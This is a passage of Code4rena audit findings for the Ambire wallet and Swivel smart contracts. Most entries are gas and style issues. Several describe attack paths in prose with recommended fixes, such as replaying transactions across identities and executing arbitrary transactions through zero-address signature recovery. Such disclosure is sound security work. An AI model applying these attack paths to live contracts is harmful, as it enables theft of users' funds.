"https://github.com/code-423n4/2021-10-ambire-findings/issues/46", "labels": ["bug", "sponsor acknowledged", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Inconsistent code style of for loops", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/45", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle WatchPug # Vulnerability details Most of the for loops in the codebase use `<` to control the loop: ```solidity for (uint i=0; i NOTE: a single accHash can control multiple identities, as long as those identities set it's hash in privileges[address(this)]. this is by design If there exist two different identities that _both share the same QuickAccount_ (`identity1.privileges(address(this)) == identity2.privileges(address(this)) == accHash`) the following attack is possible in `QuickAccManager.send`: Upon observing a valid `send` on the first identity, the same transactions can be replayed on the second identity by an attacker by calling `send` with the same arguments and just changing the `identity` to the second identity. This is because the `identity` is not part of the `hash`. Including the **nonce of** the identity in the hash is not enough. Two fresh identities will both take on nonces on zero and lead to the same hash. ## Impact Transactions on one identity can be replayed on another one if it uses the same `QuickAccount`. For example, a transaction paying a contractor can be replayed by the contract on the second identity earning the payment twice. ## Recommended Mitigation Steps 1. Nonces should not be indexed by the identity but by the `accHash`. This is because nonces are used to stop replay attacks and thus need to be on the _signer_ (`QuickAccount` in this case), not on the target contract to call. 2. The `identity` _address_ itself needs to be part of `hash` as otherwise the `send` can be frontrun and executed by anyone on the other identity by switching out the `identity` parameter. ## Other occurrences This issue of using the wrong nonce (on the `identity` which means the nonces repeat per identity) and not including `identity` address leads to other attacks throughout the `QuickAccManager`: - `cancel`: attacker can use the same signature to cancel the same transactions on the second identity - `execScheduled`: can frontrun this call and execute it on the second identity instead. This will make the original transaction fail as `scheduled[hash]` is deleted. - `sendTransfer`: same transfers can be replayed on second identity - `sendTxns`: same transactions can be replayed on second identity "}, {"title": "No check for signature malleability", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/38", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)", "resolved"], "target": "2021-10-ambire-findings", "body": "No check for signature malleability"}, {"title": "If zero address is added as privilege anyone can execute arbitrary transactions", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/37", "labels": ["bug", "sponsor confirmed", "1 (Low Risk)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle cmichel # Vulnerability details The `SignatureValidator.recoverAddrImpl` function does not revert on invalid signatures and returns zero instead. Thus if anyone added the zero address to their `privileges` by accident, funds can be stolen in `Identity.execute`. ## Recommended Mitigation Steps Unless there's a valid reason for the `SignatureMode.NoSig` mode, consider reverting if `ecrecover` returns the zero address indicating an invalid signature. "}, {"title": "`Identity` fallback returns too many bytes", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/36", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)", "resolved"], "target": "2021-10-ambire-findings", "body": "`Identity` fallback returns too many bytes"}, {"title": "No ERC20 safe* versions called & no return values checked", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/35", "labels": ["bug", "duplicate", "sponsor acknowledged", "disagree with severity", "0 (Non-critical)", "resolved"], "target": "2021-10-ambire-findings", "body": "No ERC20 safe* versions called & no return values checked"}, {"title": "`Zapper` only works for whitelisted tokens", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/33", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-10-ambire-findings", "body": "`Zapper` only works for whitelisted tokens"}, {"title": "`Zapper` should safeApprove(0) first", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/32", "labels": ["bug", "sponsor acknowledged", "1 (Low Risk)", "resolved"], "target": "2021-10-ambire-findings", "body": "`Zapper` should safeApprove(0) first"}, {"title": "`QuickAccManager.sol` Constants should be marked as `constant`", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/31", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/wallet/QuickAccManager.sol#L128-L128 The variables `TRANSFER_TYPEHASH`, `TXNS_TYPEHASH`, `BUNDLE_TYPEHASH` are named in all caps, which implies that they are constants. However, they are not being marked as `constant`. Mark them as `constant` can also help save some gas. "}, {"title": "Cache storage variables in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/30", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "Cache storage variables in the stack can save gas"}, {"title": "Unnecessary storage variables", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/29", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/wallet/Zapper.sol#L69-L72 Some storage variables include `admin`, `lendingPool` and `aaveRefCode` are unnecessary as they will never be changed. Change to `immutable` can save gas. "}, {"title": "`Zapper.sol#tradeV3Single()` Remove unnecessary variable can make the code simpler and save gas", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/28", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle WatchPug # Vulnerability details At L149, `params.recipient` is read and put into a local variable `recipient`. However, `recipient` is only read once when `wrapOutputToLending` is true. Thus, the variable `recipient` is unnecessary. https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/wallet/Zapper.sol#L147-L159 ```solidity=147 function tradeV3Single(ISwapRouter uniV3Router, ISwapRouter.ExactInputSingleParams calldata params, bool wrapOutputToLending) external returns (uint) { ISwapRouter.ExactInputSingleParams memory tradeParams = params; address recipient = params.recipient; if(wrapOutputToLending) { tradeParams.recipient = address(this); } uint amountOut = uniV3Router.exactInputSingle(tradeParams); if(wrapOutputToLending) { lendingPool.deposit(params.tokenOut, amountOut, recipient, aaveRefCode); } return amountOut; } ``` ### Recommendation Change to: ```solidity=147 function tradeV3Single(ISwapRouter uniV3Router, ISwapRouter.ExactInputSingleParams calldata params, bool wrapOutputToLending) external returns (uint) { ISwapRouter.ExactInputSingleParams memory tradeParams = params; if(wrapOutputToLending) { tradeParams.recipient = address(this); } uint amountOut = uniV3Router.exactInputSingle(tradeParams); if(wrapOutputToLending) { lendingPool.deposit(params.tokenOut, amountOut, params.recipient, aaveRefCode); } return amountOut; } ``` "}, {"title": "`Zapper.sol#wrapETH()` Use `WETH.deposit` can save some gas", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/27", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/wallet/Zapper.sol#L137-L140 ```solidity function wrapETH() payable external { // TODO: it may be slightly cheaper to call deposit() directly payable(WETH).transfer(msg.value); } ``` ### Recommendation Change to: ```solidity interface IWETH { function deposit() external payable; } function wrapETH() payable external { IWETH(WETH).deposit{ value: msg.value }(); } ``` "}, {"title": "Cache array length in for loops can save gas", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/26", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "Cache array length in for loops can save gas"}, {"title": "`QuickAccManager.sol#send()` Avoid unnecessary read from storage can save gas", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/25", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle WatchPug # Vulnerability details In `QuickAccManager.sol#send()`, `nonces[address(identity)]` is being read 2 times (1st at L58, 2nd at L64), the second read is unnecessary, cache it in the stack at the first read can save some gas. https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/wallet/QuickAccManager.sol#L55-L67 ```solidity=55{58,64} function send(Identity identity, QuickAccount calldata acc, DualSig calldata sigs, Identity.Transaction[] calldata txns) external { bytes32 accHash = keccak256(abi.encode(acc)); require(identity.privileges(address(this)) == accHash, 'WRONG_ACC_OR_NO_PRIV'); uint initialNonce = nonces[address(identity)]; // Security: we must also hash in the hash of the QuickAccount, otherwise the sig of one key can be reused across multiple accs bytes32 hash = keccak256(abi.encode( address(this), block.chainid, accHash, nonces[address(identity)]++, txns, sigs.isBothSigned )); ``` ### Recommendation Change to: ```solidity=55{58,64} function send(Identity identity, QuickAccount calldata acc, DualSig calldata sigs, Identity.Transaction[] calldata txns) external { bytes32 accHash = keccak256(abi.encode(acc)); require(identity.privileges(address(this)) == accHash, 'WRONG_ACC_OR_NO_PRIV'); uint initialNonce = nonces[address(identity)]++; // Security: we must also hash in the hash of the QuickAccount, otherwise the sig of one key can be reused across multiple accs bytes32 hash = keccak256(abi.encode( address(this), block.chainid, accHash, initialNonce, txns, sigs.isBothSigned )); ``` "}, {"title": "Assignment Of Variable To Default (Identity.sol)", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/17", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact A variable is being assigned its default value which is unnecessary. Removing the assignment will save gas when deploying. ## Proof of Concept https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/Identity.sol#L9 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Remove the assignment. "}, {"title": "Long Revert Strings", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/16", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "Long Revert Strings"}, {"title": "Compare with 0 and 1 in a more efficient way", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/15", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In the function setAddrPrivilege of Identity.sol the value of privileges[addr] is compare to 0 and 1 in the following way: \"if (privileges[addr] != bytes32(0) && privileges[addr] != bytes32(uint(1)))\" As 0 and 1 are adjacent, you could also check \"uint(privileges[addr]) > 1\". This saves a (small amount) of gas. ## Proof of Concept https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/Identity.sol#L59 ## Tools Used ## Recommended Mitigation Steps replace if (privileges[addr] != bytes32(0) && privileges[addr] != bytes32(uint(1))) ... with if (uint(privileges[addr]) > 1) ... "}, {"title": "Safe some gas on the nonce increment", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/14", "labels": ["bug", "sponsor acknowledged", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "Safe some gas on the nonce increment"}, {"title": "Prevent execution with invalid signatures", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/13", "labels": ["bug", "duplicate", "sponsor confirmed", "disagree with severity", "3 (High Risk)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Suppose one of the supplied addrs[i] to the constructor of Identity.sol happens to be 0 ( by accident). In that case: privileges[0] = 1 Now suppose you call execute() with an invalid signature, then recoverAddrImpl will return a value of 0 and thus signer=0. If you then check \"privileges[signer] !=0\" this will be true and anyone can perform any transaction. This is clearly an unwanted situation. ## Proof of Concept https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/Identity.sol#L23-L30 https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/Identity.sol#L97-L98 ## Tools Used ## Recommended Mitigation Steps In the constructor of Identity.sol, add in the for loop the following: require (addrs[i] !=0,\"Zero not allowed\"); "}, {"title": "Some code is commented out", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/11", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)", "resolved"], "target": "2021-10-ambire-findings", "body": "Some code is commented out"}, {"title": "IdentityFactory.withdraw can be external", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/10", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle loop # Vulnerability details The `withdraw` function in `IdentityFactory.sol` is declared as public but can be external since it is not used internally. ## Impact Saves some gas in case it ever needs to be called. ## Proof of Concept https://github.com/code-423n4/2021-10-ambire/blob/main/contracts/IdentityFactory.sol#L52 "}, {"title": "Set `QuickAccManager::CANCEL_PREFIX` as constant", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/7", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact Variable `CANCEL_PREFIX` in the `QuickAccManager` is never reset after initialization. Declaring it as a constant saves gas. "}, {"title": "Set `IdentityFactory::creator` as immutable", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/6", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact Variable `creator` in the `IdentityFactory` is never reset after initialization in the constructor. Declaring it as immutable saves gas. "}, {"title": "Set `QuickAccManager::DOMAIN_SEPARATOR` as immutable", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/4", "labels": ["bug", "sponsor confirmed", "G (Gas Optimization)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact Variable `DOMAIN_SEPARATOR` in the `QuickAccManager` is never reset after initialization in the constructor. Declaring it as immutable saves gas. "}, {"title": "Address with privilege for QuickAccount with `address(0)`'s can execute arbitrary transactions", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/3", "labels": ["bug", "sponsor confirmed", "disagree with severity", "1 (Low Risk)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact If a caller has privileges for a QuickAccount consisting of two `address(0)`'s, then the caller can execute arbitrary transactions through the `QuicAccManager::send()` function. ## Proof of Concept A caller of the `QuickAccManager::send()` needs to be privileged for the QuickAccount the caller provides as argument ([line 57](https://github.com/code-423n4/2021-10-ambire/blob/main/contracts/wallet/QuickAccManager.sol#L57)). As an arbitrary value can be set as `privileged[caller]` in `Indentity.sol`, so can a QuickAccount struct consisting of two `address(0)`'s. The following calls to `SignatureValidator::recoverAddr()` (line 69, 70 and 73) can be made to always return `address(0)` if the signature has `SignatureMode.NoSig`. As the signature is provided as argument in `QuickAccManager::send()`, the caller has total control of it. The checks in line [69, 70](https://github.com/code-423n4/2021-10-ambire/blob/main/contracts/wallet/QuickAccManager.sol#L69) and [73](https://github.com/code-423n4/2021-10-ambire/blob/main/contracts/wallet/QuickAccManager.sol#L73) now always pass as long as the accounts in the QuickAccount struct are `address(0)` too. Therefore, a caller with permissions for such a QuickAccount can execute and schedule arbitrary transactions without the need for valid signatures. ## Tools Used - ## Recommended Mitigation Steps Add a check in the `QuickAccManager::send()` function to forbid QuickAccounts with `address(0)`. "}, {"title": "`QuickAccManager.sol#cancel()` Wrong `hashTx` makes it impossible to cancel a scheduled transaction", "html_url": "https://github.com/code-423n4/2021-10-ambire-findings/issues/1", "labels": ["bug", "sponsor confirmed", "3 (High Risk)", "resolved"], "target": "2021-10-ambire-findings", "body": "# Handle WatchPug # Vulnerability details In `QuickAccManager.sol#cancel()`, the `hashTx` to identify the transaction to be canceled is wrong. The last parameter is missing. As a result, users will be unable to cancel a scheduled transaction. https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/wallet/QuickAccManager.sol#L91-L91 ```solidity=81{91} function cancel(Identity identity, QuickAccount calldata acc, uint nonce, bytes calldata sig, Identity.Transaction[] calldata txns) external { bytes32 accHash = keccak256(abi.encode(acc)); require(identity.privileges(address(this)) == accHash, 'WRONG_ACC_OR_NO_PRIV'); bytes32 hash = keccak256(abi.encode(CANCEL_PREFIX, address(this), block.chainid, accHash, nonce, txns, false)); address signer = SignatureValidator.recoverAddr(hash, sig); require(signer == acc.one || signer == acc.two, 'INVALID_SIGNATURE'); // @NOTE: should we allow cancelling even when it's matured? probably not, otherwise there's a minor grief // opportunity: someone wants to cancel post-maturity, and you front them with execScheduled bytes32 hashTx = keccak256(abi.encode(address(this), block.chainid, accHash, nonce, txns)); require(scheduled[hashTx] != 0 && block.timestamp < scheduled[hashTx], 'TOO_LATE'); delete scheduled[hashTx]; emit LogCancelled(hashTx, accHash, signer, block.timestamp); } ``` ### Recommendation Change to: ```solidity bytes32 hashTx = keccak256(abi.encode(address(this), block.chainid, accHash, nonce, txns, false)); ``` "}, {"title": "Math's operations order in Swivel's functions", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/162", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact There are multiple instances of divisions performed before multiplications, whereas the opposite is generally suggested. To mitigate the precision loss, a factor like `1e18` is multiplied and then divided, but this solution is arbitrary and can be avoided. For example: ```js uint256 principalFilled = (((a * 1e18) / o.premium) * o.principal) / 1e18; ``` can be rewritten like: ```js uint256 principalFilled = a * o.principal / o.premium; ``` ## Proof of Concept Run `grep '1e18' Swivel.sol` for a complete list. ## Tools Used grep, editor ## Recommended Mitigation Steps Suggested checking all instances and trying to simplify the math. "}, {"title": "Better Math in `calculateReturn`", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/161", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact `Marketplace.calculateReturn` can be rewritten from: ```js function calculateReturn(address u, uint256 m, uint256 a) internal returns (uint256) { // calculate difference between the cToken exchange rate @ maturity and the current cToken exchange rate uint256 yield = ((CErc20(markets[u][m].cTokenAddr).exchangeRateCurrent() * 1e26) / maturityRate[u][m]) - 1e26; uint256 interest = (yield * a) / 1e26; // calculate the total amount of underlying principle to return return a + interest; } ``` to: ```js function calculateReturn(address u, uint256 m, uint256 a) internal returns (uint256) { uint256 rate = CErc20(markets[u][m].cTokenAddr).exchangeRateCurrent(); return a*rate/ maturityRate[u][m]; } ``` Less math operations means less approximations and less gas used. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/v2/test/marketplace/MarketPlace.sol#L160-L167 ## Tools Used editor "}, {"title": "balanceOf should be a _view_ function", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/157", "labels": ["bug", "duplicate", "0 (Non-critical)", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "balanceOf should be a _view_ function"}, {"title": "fee-on-transfer underlying can cause problems", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/156", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "fee-on-transfer underlying can cause problems"}, {"title": "Unsafe handling of underlying tokens", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/155", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-09-swivel-findings", "body": "Unsafe handling of underlying tokens"}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/153", "labels": ["bug", "duplicate", "0 (Non-critical)"], "target": "2021-09-swivel-findings", "body": "Style issues"}, {"title": "'matured' can be replaced by 'maturityRate' > 0", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle pauliax # Vulnerability details ## Impact boolean flag 'matured' could be removed if you agree to accept maturityRate > 0 as a matured vault, basically replacing: require(!matured, 'already matured'); with: require(maturityRate == 0, 'already matured'); This would eliminate one storage variable and thus reduce gas usage. The risk is that exchangeRateCurrent can never be 0 as this would mean an immature state. ## Recommended Mitigation Steps Consider getting rid of 'matured' as per suggestion. "}, {"title": "Functions returning boolean", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/149", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle pauliax # Vulnerability details ## Impact It is unclear why there are many functions that always return a boolean value of true. While this may be your agreed practice that you try to follow, it also incurs more gas consumption as the caller needs to receive and check these returned values. ## Recommended Mitigation Steps If you want to optimize for gas, consider dropping return values for functions that actually do not need them. "}, {"title": "'onlyAdmin' and 'onlySwivel' modifiers", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/148", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Having both modifiers 'onlyAdmin' and 'onlySwivel' is not only more expensive but also misleading as these modifiers basically do the same job of checking an address against msg.sender. ## Recommended Mitigation Steps Better have a generalized modifier, something like onlyAddress(address a), and re-use it with both admin and swivel: modifier onlyAddress(address a) { require(msg.sender == a, 'sender not authorized'); _; } onlyAddress(admin) onlyAddress(swivel) "}, {"title": "'mature' and 'maturityRate' do not need separate mappings", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/147", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "'mature' and 'maturityRate' do not need separate mappings"}, {"title": "Can cancel the same order again", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/145", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "Can cancel the same order again"}, {"title": "Underlying can be fetched from cToken", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/142", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "# Handle pauliax # Vulnerability details ## Impact When creating the market (function createMarket), you do not need to specify the address of underlying, it would be less error-prone to dynamically get this from cToken: https://github.com/compound-finance/compound-protocol/blob/master/contracts/CTokenInterfaces.sol#L254 ## Recommended Mitigation Steps While only the admin can create new markets, I think it would still be nice to algorithmically ensure that this underlying token belongs to this cToken and do not leave a chance for human errors. "}, {"title": "Validations in setFee", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/137", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-swivel-findings", "body": "Validations in setFee"}, {"title": "Return value of transferNotionalFee", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/135", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "Return value of transferNotionalFee"}, {"title": "Magic Number 1e26 would best replace by a constant in `VaultTracker`", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/131", "labels": ["bug", "duplicate", "0 (Non-critical)"], "target": "2021-09-swivel-findings", "body": "Magic Number 1e26 would best replace by a constant in `VaultTracker`"}, {"title": "The requires used in `p2pVaultExchange` `transferVaultNotional` in Marketplace.sol are not necessary", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/130", "labels": ["bug", "0 (Non-critical)"], "target": "2021-09-swivel-findings", "body": "The requires used in `p2pVaultExchange` `transferVaultNotional` in Marketplace.sol are not necessary"}, {"title": "Redundant `require` in Swivel.sol", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle GalloDaSballo # Vulnerability details ## Impact The line: require(MarketPlace(marketPlace).p2pZcTokenExchange(o.underlying, o.maturity, o.maker, msg.sender, a), 'zcToken exchange failed'); in Swivel.sol https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L171 Is checking for the return value of `MarketPlace.p2pZcTokenExchange`, however `p2pZcTokenExchange` will always return true or revert As such the require is not necessary, and doesn't provide any additional guarantees. ## Recommended Mitigation Steps Replace ` require(MarketPlace(marketPlace).p2pZcTokenExchange(o.underlying, o.maturity, o.maker, msg.sender, a), 'zcToken exchange failed'); ` With ` MarketPlace(marketPlace).p2pZcTokenExchange(o.underlying, o.maturity, o.maker, msg.sender, a) ` "}, {"title": "require(mPlace.custodialExit) in Swivel.sol is redundant", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle GalloDaSballo # Vulnerability details ## Impact The function `custodialExit` in Marketplace.sol: https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L194 Always returns true or reverts In swivel.sol the check `require(mPlace.custodialExit(o.underlying, o.maturity, o.maker, msg.sender, a), 'custodial exit failed'); ` will always pass, unless the function `custodialExit` reverts This extra require is not necessary, and provides no additional guarantees as `custodialExit` will always return true or revert ## Recommended Mitigation Steps Replace ` require(mPlace.custodialExit(o.underlying, o.maturity, o.maker, msg.sender, a), 'custodial exit failed'); ` With ` mPlace.custodialExit(o.underlying, o.maturity, o.maker, msg.sender, a) ` "}, {"title": "Swivel.sol - marketplace is an immutable address, yet is always casted to MarketPlace - store as MarketPlace to make code cleaner", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/125", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle GalloDaSballo # Vulnerability details ## Impact The variable `marketplace` in Swivel.sol https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L21 is stored as an immutable address However, every single instance of it's usage casts it to `MarketPlace` Would recommend storing `marketplace` as `MarketPlace` to make the code cleaner ## Recommended Mitigation Steps Replace ` address public immutable marketPlace; ` With ` Marketplace public immutable marketPlace; ` "}, {"title": "swivel and marketPlace contract does not implement the mechanisim to renounce the role of admin", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/119", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-swivel-findings", "body": "swivel and marketPlace contract does not implement the mechanisim to renounce the role of admin"}, {"title": "Bounded array lengths or checking gasleft will save gas from OOGs", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Swivel initiate() and exit() functions accept unbounded arrays from users which may lead to OOG exceptions with insufficient gas sent in transaction. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L55-L77 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L209-L234 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Bounding array lengths or checking gasleft are a good idea to reduce risk of OOG and save user\u2019s gas. "}, {"title": "Avoiding initialization of loop index can save a little gas", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "Avoiding initialization of loop index can save a little gas"}, {"title": "Converting fenominator to a static array will save storage slots and gas", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/114", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2021-09-swivel-findings", "body": "Converting fenominator to a static array will save storage slots and gas"}, {"title": "+= can be replaced by =", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/113", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact to.notional += a can be replaced by to.notional = a because to.notional = 0 in the else part. This will save a few MLOADs. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/vaulttracker/VaultTracker.sol#L189 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Replace to.notional += a by to.notional = a "}, {"title": " Input validation on amount > 0 will save gas", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/112", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-swivel-findings", "body": " Input validation on amount > 0 will save gas"}, {"title": "Removing redundant require() can save gas", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The require(matureMarket(u, m) is redundant because matureMarket always returns true and reverts if any of its require() check fails. Removing this can save a little gas. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L127 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L75-L91 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove redundant require() "}, {"title": "Caching state variables in local/memory variables avoids SLOADs to save gas", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/110", "labels": 